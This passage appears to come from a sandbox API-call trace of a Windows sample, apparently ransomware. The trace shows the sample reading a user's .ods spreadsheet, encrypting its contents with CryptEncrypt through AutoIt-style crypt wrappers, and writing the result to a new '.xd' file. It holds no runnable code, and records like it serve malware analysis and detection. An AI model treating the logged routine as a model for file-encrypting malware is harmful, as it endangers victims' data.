wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.179] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.179] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp")) returned 0x10 [0073.180] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\queppq7ypnjakmfy.ods.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0073.180] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.180] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.180] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.180] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.185] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0073.185] ReadFile (in: hFile=0x3ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xaa86, lpOverlapped=0x0) returned 1 [0073.191] ReadFile (in: hFile=0x3ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0073.194] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.194] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.194] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.194] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0073.194] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.194] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.194] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0073.194] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.195] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0073.195] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.195] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.195] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.195] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0073.195] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0073.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e330, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0073.195] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0073.195] CryptGetKeyParam (in: hKey=0x164c3f0, dwParam=0x7, pbData=0x1629340, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629340*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0073.195] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.195] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.195] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.195] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.196] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.196] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.196] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.196] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.196] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.196] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.196] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.196] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.196] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.196] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.196] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.196] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.196] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.196] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.196] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.196] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.196] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.196] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.196] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.196] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.197] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621678, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.197] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.229] CryptEncrypt (in: hKey=0x164c3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xaa86, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xaa90) returned 1 [0073.229] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.229] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.229] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.229] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.229] CharLowerBuffW (in: lpsz="byte[43665]", cchLength=0xb | out: lpsz="byte[43665]") returned 0xb [0073.229] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.230] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.230] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.230] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.230] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b28, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.231] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.231] CryptEncrypt (in: hKey=0x164c3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17f6040*, pdwDataLen=0x130e618*=0xaa86, dwBufLen=0xaa90 | out: pbData=0x17f6040*, pdwDataLen=0x130e618*=0xaa90) returned 1 [0073.231] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.231] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.231] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.231] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.231] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.231] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.231] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.231] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.231] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.231] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.231] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.231] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.232] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.232] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.232] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.232] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.232] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.234] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.234] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.234] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.234] WriteFile (in: hFile=0x3d0, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0xaa90, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0xaa90, lpOverlapped=0x0) returned 1 [0073.236] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.236] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.236] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0073.236] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.236] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.236] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0073.236] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0073.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621378, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0073.237] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0073.237] CryptDestroyKey (hKey=0x164c3f0) returned 1 [0073.237] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.237] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.237] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.237] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.237] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.237] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0073.237] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0073.237] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.237] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.238] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0073.238] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.238] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.238] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.238] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.238] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.238] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.238] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.238] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.238] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.238] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.238] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.238] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.238] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0073.238] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.238] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.238] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.238] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.239] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.239] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0073.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0073.239] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0073.239] CryptReleaseContext (hProv=0x17aad58, dwFlags=0x0) returned 1 [0073.239] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.240] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.240] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.240] FreeLibrary (hLibModule=0x74c60000) returned 1 [0073.240] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.240] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.240] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.240] CloseHandle (hObject=0x3ac) returned 1 [0073.243] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.243] CloseHandle (hObject=0x3d0) returned 1 [0073.252] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.253] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.253] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", lpFilePart=0x0) returned 0x3f [0073.253] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\queppq7ypnjakmfy.ods")) returned 0x20 [0073.253] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 